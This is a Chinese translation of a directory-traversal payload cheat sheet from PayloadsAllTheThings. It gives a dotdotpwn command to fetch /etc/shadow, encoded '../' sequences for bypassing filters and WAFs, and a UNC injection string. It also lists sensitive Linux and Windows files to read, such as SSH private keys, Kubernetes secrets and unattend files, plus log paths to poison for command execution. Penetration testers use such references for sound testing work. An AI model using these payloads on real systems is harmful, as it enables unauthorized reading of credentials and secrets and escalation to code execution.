目录遍历
路径或目录遍历漏洞指的是利用对用户输入检测性不足,而导致“可遍历到父目录”的字符串被传递到api中。
总览
工具
基本利用方法
16位Unicode编码
UTF-8 Unicode编码
绕过 "../" 被替换成 ""
双重URL编码
绕过UNC
可遍历的路径
一些Linux下有趣的文件
一些Windows下有趣的文件
dotdotpwn - 目录遍历模糊测试工具
Github地址:
https://github.com/wireghoul/dotdotpwn
获取方法:
git clone https://github.com/wireghoul/dotdotpwn
执行命令:
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
我们可以使用..
字符去访问父目录,下面的字符串是几种编码格式,可以帮你绕过比较差的过滤器。
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
. = %u002e
/ = %u2215
\ = %u2216
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
有时会遇见WAF,它会删除../
字符串
..././
...\.\
. = %252e
/ = %252f
\ = %255c
攻击者可以将Windows UNC共享('\UNC\share\name')注入到软件系统中,以潜在地重定向对非预期位置或任意文件的访问。
\\localhost\c$\windows\win.ini
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (第一个数字是PID,第二个数字是文件描述符)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
Windows下一些值得我们检查的文件,
来自Github:
https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
以下日志文件是可控制的,可以包含在恶意负载中以实现命令执行
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
翻译来自:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md